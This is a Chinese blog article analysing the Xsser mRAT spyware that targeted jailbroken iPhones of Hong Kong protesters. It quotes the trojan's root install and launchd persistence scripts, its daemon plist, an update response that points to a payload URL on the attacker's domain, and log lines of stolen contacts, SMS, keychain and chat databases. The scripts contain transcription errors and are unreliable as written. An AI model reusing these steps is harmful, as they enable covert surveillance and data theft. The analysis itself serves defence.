国产“骄傲”:最先进的国产IOS木马Xsser现身分析

近来,香港的消息可以说是比较火的,也从来都是哪里火黑客同志们往哪里涌,前赴后继。这一点看我们的Anonymous(匿名者)同志们就知道了。前几天,Lacoon移动安全公司的研究人员报告了一个感染iOS越狱手机的间谍程序Xsser mRAT,传闻中标榜此木马为“国产最先进”。

立场这么坚定?下面我们来看看这个马是什么来头。

Xsser与此前发现的Android间谍程序共享了相同的指令控制服务器域名。之前发现的Android间谍程序伪装成协调占中示威者的应用,通过Whatsapp传播。Xsser mRAT是至今发现的第一个也是最先进的中国产(传闻,不保证真实性) iOS木马。

感染条件

但是感染Xsser是有前提条件的,首先。。。(这个不用我说了吧)

其次,你得越狱,并且安装了Cydia(貌似没有几个越狱之后不装这个的吧)

感染方式

感染的源头来自于一封匿名的WhatApp消息:

"Check out this Android app designed by Code4HK, group of activist coders,  for the coordination of Occupy Central!"(“为了支持这次活动,大家请快去找这个由Code4HK(活动者当中的程序员们)设计的安卓app!”)

但是只要点了这个链接,你的爪机便被这款木马控制了。

点击这个链接之后,首先安卓爪机便会出现一个安装请求,而我们的IOS用户则会被要求添加一个Cydia源,然后相关的包就会被很无情的安装了。包本身是一个deb安装包,并且为了能够安装之后顺利执行,程序还安装了一IOS‘launchd’服务来保证程序可以顺利安装即运行。

感染行为

听起来很DIAO的样子,接下来,小编就带大家揭开其神秘面纱,看看这款传闻中“MADE IN CHINA”的木马背后的小故事。

首先,我们来看一下这款马感染之后会做什么

电话本
短信
通话记录
基于CellID信息的位置记录
照片
系统信息
获取微信/QQ聊天记录
Apple的账户密码信息和GSM信息

看到上面的信息有没有菊花一紧的赶脚?

不仅如此,Lacoon经过对app的监测,发现所有的连接都是指向一个VPS服务器的,费了好大功夫,总算找到了他们的CnC服务器

感染过程分析

Lacoon公司做了一个流程图,我们可以大体看下

1、首先,添加Cydia源添加之后,会安装一个deb包,包中包含以下文件:

/bin/*****.0day_t/bin/*****.0day_t.sh
/bin/com.*****.0day.iphone.plist

2、然后,包安装完成之后会执行以下脚本命令:

#!/bin/bash
chmod -R 0755/bin/xsser.0day_t
chmod -R 0755/bin/com.xsser.0day.iphone.plist
chmod -R 0755/bin/xsser.0day_t.sh
/bin/xsser.0day_t.ti

3、这个脚本结束之后会运行另一个脚本文件:

#!/bin/sh
cp /bin/xsser.0day_t/bin/xsser.0day
cp /bin/com.xsser.0day.iphone.plist /Library/LaunchDaemons/com.xsser.0day.iphone.plist
chmod -R 0755/bin/xsser.0day
chmod -R 0755/Library/LaunchDaemons/com.xsser.0day.iphone.plist
chown root /Library/LaunchDaemons/com.xsser.0day.iphone.plist
launchctl load /Library/LaunchDaemons/com.xsser.0day.iphone.plaits

脚本安装了一个本地服务,同时进行了加载。服务信息如下:

<?xml version=“1.0 encoding=“UTF-8″?><!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd”><plistversion=“1.0”><dict><key>KeepAlive</key><true/><key>Label</key><string>com.xsser.0day.iphone</string><key>Program</key><string>/bin/xsser.0day</string><key>RunAtLoad</key><true/></dict></plist>

4、最后当系统运行的时候还会自动监测程序是否是最新版本,如果不是则进行自动更新。

这里Lacoon公司还给出了一个监测到的更新的HTTP请求:

GET /CheckLibrary.aspx HTTP/1.1
Host: 
Connection: keep-alive
Accept-Encoding: gzip, deflate
User-Agent: xsser.0day (unknown version) CFNetwork/672.1.15 Darwin/14.0.0
Accept-Language: en-us
Accept: */*

HTTP/1.1 200 OK
Date: Mon, 29 Sep 2014 09:27:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8Content-Length: 79

http://www.xsser.com/upload/Lib/iLib.4.0.0.dylib|iLib.4.0.0.dylib|4.0.0|1033720

下面是app的GET请求:

感染行为分析

感染之后,app会进行以下行为:

1、上传本地文件

===>GetGps:Now
===>GetKeyChain:Now
===>UploadFile:/var/mobile/Library/AddressBook/AddressBook.sqlitedb
===>UploadFile:/var/mobile/Library/AddressBook/AddressBook.sqlitedb-shm
===>UploadFile:/var/mobile/Library/AddressBook/AddressBook.sqlitedb-wal
===>UploadFile:/var/mobile/Library/SMS/sms.db
===>UploadFile:/var/mobile/Library/SMS/sms.db-shm
===>UploadFile:/var/mobile/Library/SMS/sms.db-wal
===>UploadFile:/var/wireless/Library/CallHistory/call_history.db
===>GetWeiXin:Now
===>UploadFile:/private/var/mobile/Media/DCIM/100APPLE/IMG_[…].JPG

下面是请求的部分代码文件截图:

2、获取GPS信息

获取方式是采用CoreTelephony的getCellInfo函数达成的,下面是部分代码截图:

3、获取微信/QQ消息

通过TargetUploadFile命名找到DB/MM.sqlite文件并上传到服务器上,相关代码如下:

4、获取密钥

具体密钥类型为:

SecClassGenericPassword
SecClassInternetPassword
SecClassIdentity
SecClassCertificate
SecClassKey

然后将密钥信息(密码、认证标志等)打包成一个xml文件并使用同样的方式上传。

范本xml如下图所示:

5、暂未查明监测到的行为

发送信息
拨打电话
执行命令
上传文件类型

当然,没有监测到并不代表不会执行相关指令,既然app已经强大到如此的程度,这些一般标配行为肯定是存在的,只是等待相关指令等待触发罢了。

国产“骄傲”:最先进的国产IOS木马Xsser现身分析:等您发表观点!

发表评论


快捷键:Ctrl+Enter